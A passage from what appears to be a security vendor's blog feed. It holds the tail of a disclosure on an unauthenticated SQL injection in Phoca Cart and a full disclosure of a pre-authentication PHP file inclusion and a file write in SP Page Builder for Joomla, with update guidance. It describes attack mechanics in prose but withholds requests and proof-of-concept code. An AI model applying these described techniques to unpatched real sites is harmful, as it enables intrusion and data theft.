&lt;p&gt;For this specific release, the triage is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Find every site running Phoca Cart, with its Joomla version&lt;/li&gt;
&lt;li&gt;Joomla 6 sites below 6.1.7, and Joomla 5 sites below 5.2.4 on the 5.x line: update from the Joomla update screen&lt;/li&gt;
&lt;li&gt;Joomla 5 sites running any 6.x version: download 6.1.7 and install it manually, because the updater will not offer it&lt;/li&gt;
&lt;li&gt;Joomla 4 sites on 4.0.12 or lower: update from the update screen, which offers 4.0.13 normally&lt;/li&gt;
&lt;li&gt;Joomla 3 sites: &lt;a href=&quot;https://joomla3security.com/vendors/phoca/&quot;&gt;no fix exists&lt;/a&gt;, so &lt;a href=&quot;https://joomla3security.com/options/#migrate&quot;&gt;plan the migration&lt;/a&gt; or drop the extension&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If a site turns out to have been running a vulnerable version on a public shop for a long time, updating closes the hole but tells you nothing about what happened before. If you need someone to go through a site properly, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is a fixed fee of £120 per incident, screened first so you are not charged in the very rare case that it cannot be fixed.&lt;/p&gt;
&lt;h2&gt;Did mySites.guru find this one?&lt;/h2&gt;
&lt;p&gt;No. This is Phoca’s own security release. We had no involvement in finding it, no involvement in reporting it, and we learned about it the same way anyone else could, by reading a published diff after the packages went out. Phoca’s release notes credit the report to Toan Le, an external researcher, which the news item matches when it promises a detailed report from an external source.&lt;/p&gt;
&lt;p&gt;We say so because we have published a run of Joomla extension SQL injection disclosures this year that we did find, including &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore&lt;/a&gt;, and this post sits close enough to those to be mistaken for one. Credit here belongs to Toan Le for finding it and Phoca for fixing it. We have reported a separate flaw in &lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download&lt;/a&gt; in the past, which Jan Pavelka fixed the same day, so our experience of Phoca acting quickly on a security report is first hand.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74251/&quot;&gt;CVE-2026-74251&lt;/a&gt; names no finder, while Phoca’s own release notes do. The Joomla CNA does credit researchers when there is one to credit, so an empty credits field here is likely a data entry gap in the record rather than a signal that no one reported it.&lt;/p&gt;
&lt;h2&gt;Severity&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;The Joomla CNA’s score for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74251/&quot;&gt;CVE-2026-74251&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Reachable over the internet on a public shop page with no account, no token and no user interaction. The CNA scored confidentiality, integrity and availability all high, because the injection sits inside a WHERE clause the attacker controls rather than in a value the query merely reads. The 5.x, 6.x and 4.x lines have a patched release. The 3.x line has the same code with nothing to update to.&lt;/p&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Public shop page&lt;/span&gt;&lt;span&gt;Full database read&lt;/span&gt;&lt;span&gt;Password hashes exposed&lt;/span&gt;&lt;span&gt;No fix on Joomla 3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Extension&lt;/td&gt;&lt;td&gt;Phoca Cart for Joomla (&lt;code&gt;com_phocacart&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Phoca, Jan Pavelka (&lt;a href=&quot;https://www.phoca.cz/phocacart&quot;&gt;phoca.cz&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt;) through the &lt;code&gt;a[]&lt;/code&gt; attribute and &lt;code&gt;s[]&lt;/code&gt; specification filter parameters&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74251/&quot;&gt;CVE-2026-74251&lt;/a&gt;, published by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt; at 12:51 UTC on 16 August 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;9.3 (Critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt; (the Joomla CNA’s score)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vulnerable file&lt;/td&gt;&lt;td&gt;&lt;code&gt;admin/libraries/phocacart/search/search.php&lt;/code&gt;. Six injection points on the 5.x/6.x lines, four on the 4.x line, all now passed through &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous read of any table in the shop’s database, including customer records and password hashes, by time-based blind extraction&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Toan Le, an external researcher credited in Phoca’s 6.1.7 release notes. The CVE record credits no one, and this is not a mySites.guru finding&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Every release below 5.2.4 on the 5.x line, below 6.1.7 on the 6.x line and below 4.0.13 on the 4.x line, plus the whole of the 3.x branch. The CVE record stated 5.0.0 to 6.1.16 at first, corrected same-day to 5.0.0 to 6.1.6; the 5.0.0 floor still omits the Joomla 4 and Joomla 3 lines&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;5.2.4 (Joomla 5 line), 6.1.7 (Joomla 6 line) and 4.0.13 (Joomla 4 line), all released 16 August 2026. No fixed release on the 3.x branch&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-16&lt;/strong&gt; 10:23 UTC Phoca Cart 6.1.7 ships, and 5.2.4 sixteen minutes later Two security releases in one morning. This is not our find: Phoca credits the report to Toan Le, an external researcher, and we learned about it the same way anyone else could, by reading the published diff after the packages went out.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-16&lt;/strong&gt; 12:51 UTC CVE-2026-74251 is published at CVSS 4.0 9.3, Critical An unauthenticated SQL injection through the attribute and specification filter parameters, classified CWE-89, on a vector of no privileges, no user interaction and high impact to confidentiality, integrity and availability. The record names no finder, which is likely a data entry gap rather than a dispute.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-16&lt;/strong&gt; 20:39 UTC 4.0.13 follows for the Joomla 4 line The third release of the day, so sites on the older branch are covered too.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74251/&quot;&gt;CVE-2026-74251&lt;/a&gt;, our record page, holding the Joomla CNA&apos;s CVSS 4.0 score and vector&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhocaCz/PhocaCart/releases/tag/5.2.4&quot;&gt;Phoca Cart 5.2.4 release&lt;/a&gt;, &lt;a href=&quot;https://github.com/PhocaCz/PhocaCart/releases/tag/6.1.7&quot;&gt;6.1.7 release&lt;/a&gt; and &lt;a href=&quot;https://github.com/PhocaCz/PhocaCart/releases/tag/4.0.13&quot;&gt;4.0.13 release&lt;/a&gt; on GitHub, with the downloadable packages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.phoca.cz/news/1506-phoca-cart-version-6-1-7-released-security-release&quot;&gt;Phoca&apos;s news item for the 6.1.7 release&lt;/a&gt;, the vendor&apos;s own announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.phoca.cz/phocacart&quot;&gt;Phoca Cart project page&lt;/a&gt; for documentation and the vendor&apos;s own download portal&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/install-update/update-server/&quot;&gt;Joomla&apos;s update server documentation&lt;/a&gt; explaining &lt;code&gt;targetplatform&lt;/code&gt; and how update servers are matched&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;How to enable Joomla extension auto-updates safely&lt;/a&gt; on getting patches applied without breaking sites&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>phoca</category><category>sql injection</category><category>vulnerability</category><category>extensions</category><enclosure url="https://mysites.guru/img/og/blog/phoca-cart-sql-injection-product-filter.png" length="0" type="image/png"/></item><item><title>Unauthenticated Remote Code Execution in SP Page Builder found by mySites.guru</title><link>https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/</guid><description>mySites.guru found a pre-authentication remote code execution flaw in SP Page Builder for Joomla, in the same release that fixed our earlier reports.</description><pubDate>Wed, 12 Aug 2026 13:00:00 GMT</pubDate><content:encoded>
&lt;p&gt;&lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;SP Page Builder&lt;/a&gt; is JoomShaper’s drag-and-drop page builder for Joomla, one of the most widely installed page builders in the ecosystem. We have reported issues in it before: the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;June 2026 unauthenticated icon-upload zero-day&lt;/a&gt; fixed in 6.6.2, and a round of &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;four vulnerabilities including a pre-auth SQL injection and an open mail relay&lt;/a&gt;, fixed in 6.7.1. This is the one that makes those look tame. &lt;strong&gt;In SP Page Builder 6.7.1, the release that fixed our previous reports, mySites.guru found a pre-authentication remote code execution flaw&lt;/strong&gt;, plus a second unauthenticated file-write issue on the same endpoint. Both were reported to JoomShaper before any public detail, and both are fixed in SP Page Builder &lt;strong&gt;6.8.0&lt;/strong&gt;, released on 12 August 2026. We re-tested the released package the same day to confirm the fixes hold.&lt;/p&gt;
&lt;p&gt;If you run SP Page Builder on any Joomla site, update to 6.8.0 now. If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found a &lt;strong&gt;pre-authentication remote code execution&lt;/strong&gt; flaw in SP Page Builder, and reported it privately to JoomShaper&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated PHP file inclusion (CVSS 4.0 9.3, Critical).&lt;/strong&gt; The Dynamic Content “load more” endpoint renders an addon definition taken straight from the request. The addon name is concatenated into a file path with no traversal check, then included and run as PHP. It is protected only by a CSRF token, which Joomla hands to every anonymous visitor, so it is effectively pre-auth. An attacker can make the site &lt;strong&gt;execute a PHP file from anywhere the server can read&lt;/strong&gt;, inside the web root or outside it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated arbitrary file write (CVSS 4.0 Medium).&lt;/strong&gt; The same endpoint lets an attacker set an addon id that becomes a filesystem path, so an anonymous request could &lt;strong&gt;create a directory and write a file outside the cache folder&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The flaw sits in the method &lt;strong&gt;directly below&lt;/strong&gt; the one JoomShaper hardened in 6.7.1, which is why 6.7.1, our previous fix, is itself vulnerable&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to SP Page Builder 6.8.0 immediately&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Reported privately on 27 July 2026, fixed in &lt;strong&gt;6.8.0&lt;/strong&gt; on 12 August 2026, 16 days later. We re-tested the released package the same day and confirmed both issues are closed&lt;/li&gt;
&lt;li&gt;The fix did not ship on its own. It arrived bundled with &lt;a href=&quot;https://www.joomshaper.com/blog/sp-page-builder-v6-8-0&quot;&gt;6.8.0&lt;/a&gt;, a planned feature release, rather than as an immediate point release&lt;/li&gt;
&lt;li&gt;The Joomla CNA published &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67285/&quot;&gt;CVE-2026-67285&lt;/a&gt;&lt;/strong&gt; (the file inclusion) and &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67286/&quot;&gt;CVE-2026-67286&lt;/a&gt;&lt;/strong&gt; (the file write) on 12 August 2026&lt;/li&gt;
&lt;li&gt;The endpoint itself is still unauthenticated in 6.8.0. The two sinks we reported are fixed, but it still renders an addon definition sent by the visitor&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;mySites.guru discovered these issues and reported them to JoomShaper before publishing details. We are withholding the exact requests and any proof-of-concept until enough sites have updated. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;The worst one: an anonymous request that runs your code&lt;/h2&gt;
&lt;p&gt;SP Page Builder’s Dynamic Content feature renders lists of content, articles, tags and custom collections. When a visitor asks for more items, a front-end endpoint returns the next page of them. To do that, the endpoint takes an &lt;strong&gt;addon definition, supplied in the request body itself&lt;/strong&gt;, and renders it server-side.&lt;/p&gt;
&lt;p&gt;Rather than loading the saved addon from the page a visitor is looking at, the endpoint trusts a complete addon tree the caller hands it, and one of the things an addon has is its &lt;strong&gt;name&lt;/strong&gt;. The name is used to locate the addon’s code on disk, by pasting it into a file path, and that path is then included and executed as PHP. Nothing strips or rejects &lt;code&gt;../&lt;/code&gt; from the name, so the name is a free path. An addon “named” a traversal string points the include anywhere on the filesystem, and Joomla runs whatever &lt;code&gt;site.php&lt;/code&gt; it finds there.&lt;/p&gt;
&lt;p&gt;The only thing standing in front of the endpoint is a CSRF token check, and, as with the SQL injection we reported last week, that is not the barrier it looks like. Joomla issues a valid token to &lt;strong&gt;every&lt;/strong&gt; visitor, anonymous ones included, the moment they load any page. A scripted attacker fetches a token and sends it back, so in practical terms this is &lt;strong&gt;pre-authentication&lt;/strong&gt; code inclusion. The one precondition is that the collection being rendered returns at least one item, because the include happens inside the per-item loop, and the default articles collection satisfies that on any site with a single published article.&lt;/p&gt;
&lt;p&gt;We confirmed it on our own SP Page Builder test install. We placed a harmless marker PHP file, made the unauthenticated request that pointed the include at it, and the marker’s output came back at the top of the HTTP response, proving the file ran as PHP inside the application. We then placed a second marker &lt;strong&gt;outside the web root entirely&lt;/strong&gt; and it executed the same way, confirming the traversal is not confined to the site’s own folder. We did not run any harmful code.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;On its own this runs PHP from a path of the attacker’s choosing. It becomes full remote code execution the moment any attacker-influenced PHP file exists somewhere the server can read: a file-write flaw in any other extension, an upload that keeps the original filename, a low-privilege account, a neighbouring account on shared hosting, or a leftover backup or staging folder. On a busy shared host that is a low bar. Treat any site that ran a vulnerable version as potentially compromised until checked.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;The second one: an anonymous request that writes to your disk&lt;/h2&gt;
&lt;p&gt;Because the same endpoint renders a caller-supplied addon tree, &lt;strong&gt;every&lt;/strong&gt; addon’s rendering code becomes a public endpoint driven by attacker-chosen settings. Most addons just draw HTML. Some touch the filesystem. The Flickr addon builds a cache path from the addon’s &lt;strong&gt;id&lt;/strong&gt;, then creates that directory and writes a file into it. The id, like the name, comes straight from the request and is never checked.&lt;/p&gt;
&lt;p&gt;Setting the id to a traversal string, an anonymous request creates a directory and writes a file well outside the intended cache folder. On our test install it created the directory and wrote a 31 KB file where it should not have been able to. The impact here is narrower than the code execution above: the filename is fixed, so this is not code execution by itself and it does not chain into the first issue. What it does give an unauthenticated attacker is directory creation anywhere the web user can write, the ability to overwrite that specific cache file, disk exhaustion, and forced outbound requests to a third-party API with a query string they control.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Both issues share one cause: the endpoint trusts an addon definition supplied by the visitor rather than loading it from the saved page. Fixing the traversal alone would leave that pattern in place, and every addon with a filesystem or network side effect would stay exposed. Flickr is simply the one we found with a write.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Why the last fix did not cover this&lt;/h2&gt;
&lt;p&gt;SP Page Builder 6.7.1 was the release that fixed the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;four issues we reported the week before&lt;/a&gt;, among them a pre-authentication SQL injection in the Dynamic Content controller. The 6.7.1 fix hardened that specific method: it added a permission check and an allow-list, with a code comment naming the SQL injection it was closing.&lt;/p&gt;
&lt;p&gt;The endpoint in this report sits &lt;strong&gt;directly below that method, in the same file&lt;/strong&gt;, and received neither the permission check nor any input hardening. The area was clearly on the developers’ radar when they patched the method above it. That is why a site diligently updated to 6.7.1, the fix for the previous round, is exposed to something worse. The lesson, for any maintainer, is that when you find one unauthenticated flaw in a controller it is worth auditing the whole controller, not just the reported method.&lt;/p&gt;
&lt;h2&gt;What 6.8.0 actually changed&lt;/h2&gt;
&lt;p&gt;We tested the released 6.8.0 package the day it shipped, re-running both proof-of-concept requests against a clean install. Both are closed, and the fixes are the right ones for the two sinks we reported:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The addon name is now checked against an allow-list of plain directory names before it is used to build a path, and the include is additionally guarded by a file-existence check. Our traversal payload renders an empty item instead of executing the planted file.&lt;/li&gt;
&lt;li&gt;The addon id is stripped of anything outside &lt;code&gt;A-Z a-z 0-9 _ -&lt;/code&gt; before it reaches the filesystem, so the Flickr write can no longer escape the cache folder.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One thing did not change. &lt;strong&gt;The endpoint still has no authorisation check.&lt;/strong&gt; It is still reachable by any anonymous visitor holding the CSRF token Joomla gives away, and it still renders an addon definition supplied in the request. 6.8.0 edited that same controller six times, adding an extra permission check to six other methods in the file, and left this one as it was. The two doors we reported are bolted; the corridor they open onto is unchanged.&lt;/p&gt;
&lt;p&gt;That matters for what comes next rather than for whether you should update. You should update, today. But the pattern that produced both of these findings, trusting a component definition sent by the visitor, is still how the endpoint works, and every addon with a filesystem or network side effect is still reachable through it with attacker-chosen settings.&lt;/p&gt;
&lt;h2&gt;The release notes do not tell you any of this&lt;/h2&gt;
&lt;p&gt;Here is the entire mention of this vulnerability in the SP Page Builder 6.8.0 release notes:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;SP Page Builder 6.8.0 release notes, under Updates&lt;/p&gt;&lt;div&gt;&lt;p&gt;Hardened input validation, file handling, and access checks across the component.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That is it. One line, filed under “Updates”, sitting below “Added Copy, Paste, and Paste Style support for addons inside the Table addon” and above nothing at all. A pre-authentication remote code execution flaw, present in every release since 5.5.0, reachable by anyone on the internet with no login, is announced to users in the same register as a clipboard feature.&lt;/p&gt;
&lt;p&gt;Judge for yourself. This is the entire 6.8.0 release note:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/sp-page-builder-6-8-0-changelog.CnV4T3Y7_ZfvEIK.webp&quot; srcset=&quot;https://mysites.guru/_astro/sp-page-builder-6-8-0-changelog.CnV4T3Y7_Z2c80wP.webp 640w, https://mysites.guru/_astro/sp-page-builder-6-8-0-changelog.CnV4T3Y7_Z12uth3.webp 750w, https://mysites.guru/_astro/sp-page-builder-6-8-0-changelog.CnV4T3Y7_1hFHbS.webp 828w, https://mysites.guru/_astro/sp-page-builder-6-8-0-changelog.CnV4T3Y7_ZabvzK.webp 1080w, https://mysites.guru/_astro/sp-page-builder-6-8-0-changelog.CnV4T3Y7_bgAPU.webp 1280w, https://mysites.guru/_astro/sp-page-builder-6-8-0-changelog.CnV4T3Y7_1UYAT8.webp 1668w, https://mysites.guru/_astro/sp-page-builder-6-8-0-changelog.CnV4T3Y7_Z1s75qw.webp 2048w, https://mysites.guru/_astro/sp-page-builder-6-8-0-changelog.CnV4T3Y7_ZfvEIK.webp 2278w&quot; alt=&quot;The SP Page Builder 6 Pro version 6.8.0 changelog published by JoomShaper, dated 12 August 2026. A New section lists multilingual support for EasyStore pages and an option to set multiple recipient emails in the Form Builder addon. An Updates section lists seven entries with no visual distinction between them: clearing Page Hits from the page menu, details and index page labels for Dynamic Content, improved AcyMailing compatibility, an alias loaded at the addon root for EasyStore, a Joomla 3 version guard in the installer script, Copy, Paste and Paste Style support inside the Table addon, and last of all the only mention of the remote code execution flaw, worded as &amp;quot;Hardened input validation, file handling, and access checks across the component&amp;quot;. A Fixes section then names two security issues, an unauthenticated SQL injection in the article loading endpoint and a broken access control issue in the Comment addon, alongside four ordinary bug fixes. Nowhere does the page say critical, urgent, or security release&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2278px) 2278px, 100vw&quot; width=&quot;2278&quot; height=&quot;1964&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The release notes do not say “security release”. They do not say “critical”. They do not give a severity, a CVSS score, a CVE, or a hint that any of this is urgent. They do not say that a site left on 6.7.1 can be made to execute an attacker’s PHP. There is no “update immediately” anywhere on the page. A site owner reading that changelog over coffee has no way to tell this apart from a maintenance release, and will quite reasonably schedule it for whenever they next do updates.&lt;/p&gt;
&lt;p&gt;What makes it worse is that JoomShaper clearly knows how to write a security changelog entry, because two lines further down, under “Fixes”, they do exactly that:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;SP Page Builder 6.8.0 release notes, under Fixes&lt;/p&gt;&lt;div&gt;&lt;p&gt;Fixed an unauthenticated SQL injection in the article loading endpoint.&lt;/p&gt;&lt;p&gt;Fixed a broken access control issue in the Comment addon that allowed guests to post comments while anonymous comments were disabled.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Both of those are named, scoped and honest. So the vagueness applied to the two issues in this article is not a house style or a limitation of their changelog format. Those two got a plain-English description; ours got “hardened input validation”. The most severe bug in the release is the most vaguely described one in the release notes, and it is not credited to anyone.&lt;/p&gt;
&lt;p&gt;We have written before about &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;what a security changelog entry owes the people running your code&lt;/a&gt;. The short version: say what class of flaw it was, say which versions were affected, say whether it needs urgent action, and name the researcher. None of that is difficult, and all of it changes whether a busy administrator patches today or next month. Vague release notes do not protect users from attackers. Attackers diff the release. Only the defenders are left guessing.&lt;/p&gt;
&lt;p&gt;Credit where it is due, though not to the vendor. The Joomla Security Strike Team assigned &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67285/&quot;&gt;CVE-2026-67285&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67286/&quot;&gt;CVE-2026-67286&lt;/a&gt; to these two issues within hours of the release, and went back and updated the credits on the earlier SP Page Builder CVEs so that mySites.guru is named there too. That is the ecosystem’s security team doing the vendor’s job for them, and doing it properly.&lt;/p&gt;
&lt;h2&gt;The fix waited for the feature release&lt;/h2&gt;
&lt;p&gt;JoomShaper acknowledged both issues on the day we reported them, 27 July, and confirmed a fix was in progress. That fix reached site owners sixteen days later, on 12 August, as part of &lt;a href=&quot;https://www.joomshaper.com/blog/sp-page-builder-v6-8-0&quot;&gt;SP Page Builder 6.8.0&lt;/a&gt;. There was no 6.7.2 in between.&lt;/p&gt;
&lt;p&gt;Look at what else 6.8.0 has: multilingual page support for EasyStore, multiple recipient emails in the Form Builder, clearing page hits from the editor menu, labels on Dynamic Content pages, improved AcyMailing compatibility, copy and paste inside the Table addon. That is a planned feature drop, months in the making, and the vendor’s own announcement opens by calling it “packed with exciting new features and improvements”. The patch for a pre-authentication remote code execution flaw travelled along with it.&lt;/p&gt;
&lt;p&gt;An allow-list on a directory name and a sanitiser on an id did not need to wait for multilingual EasyStore pages. They could have gone out as 6.7.2 the same week, on their own, with a release note saying what they were for. Instead every SP Page Builder site on the internet stayed exposed for sixteen days to a flaw the vendor already knew about, so that the fix could arrive on the feature release’s schedule.&lt;/p&gt;
&lt;p&gt;Sixteen days is not a scandal in isolation. Plenty of vendors take considerably longer, and JoomShaper answered within hours and fixed both sinks properly when they did. The problem is the coupling. Once a security fix is bundled with a feature release, the date it reaches users is decided by whatever else is in the box, by QA on multilingual storefronts and clipboard support in table addons, and that is exactly backwards for the one class of change that should never wait for anything.&lt;/p&gt;
&lt;p&gt;The 6.8.0 announcement is worth reading for what it does cover. It gives the unauthenticated SQL injection in the article loading endpoint a dedicated “Security Enhancement” section: affected versions, the fixed version, a CVE, the CWEs, step-by-step upgrade instructions, and a credit to the researchers who reported it, ourselves included. That is a good vendor security note, and it shows the standard JoomShaper is perfectly capable of meeting. The file inclusion and the file write described in this article appear nowhere on that page.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;The vulnerable code is present in SP Page Builder &lt;strong&gt;6.7.1&lt;/strong&gt;, the current release when we reported this, and from our testing in &lt;strong&gt;every version back to 5.5.0&lt;/strong&gt;, where the Dynamic Content feature was introduced. The relevant files are byte-for-byte identical across 6.6.2, 6.7.0 and 6.7.1, so this is not a 6.7.1 regression, it is long-standing. JoomShaper fixed it in SP Page Builder &lt;strong&gt;6.8.0&lt;/strong&gt;.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;If you run any version of SP Page Builder earlier than 6.8.0, assume your site is affected and update now. The code execution needs no login, so if the site is online, the endpoint is reachable. 6.8.0 is no longer the version to be on either: we found &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/&quot;&gt;five more issues in 6.9.0&lt;/a&gt;, including an Author-level SQL injection that reads the whole database, all fixed in 6.9.1. Install 6.9.1 or later.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;How do you update SP Page Builder safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla’s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull SP Page Builder 6.8.0. If you manage more than one site, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade SP Page Builder across every affected site from one dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, check SP Page Builder reports 6.8.0 or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla’s cache and any CDN or page cache.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Because this is a code-execution flaw, updating closes the door but does not undo anything an attacker may already have done while it was open. If a vulnerable version was live and internet-facing for any length of time, treat the site as potentially compromised: check for unexpected files and admin users, rotate the Joomla secret and any stored credentials, and restore from a known-good backup if anything looks wrong.&lt;/p&gt;
&lt;h2&gt;How do I find every SP Page Builder site I manage?&lt;/h2&gt;
&lt;p&gt;Up to about ten sites, you can log in to each Joomla admin and check. Past that, you need a single view. mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for SP Page Builder once and get back every connected site running it, the version each one is on, and whether an update is available.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;View every SP Page Builder install across your sites&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Search for SP Page Builder across every connected Joomla site and filter for anything earlier than 6.8.0. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Why page builders keep producing this&lt;/h2&gt;
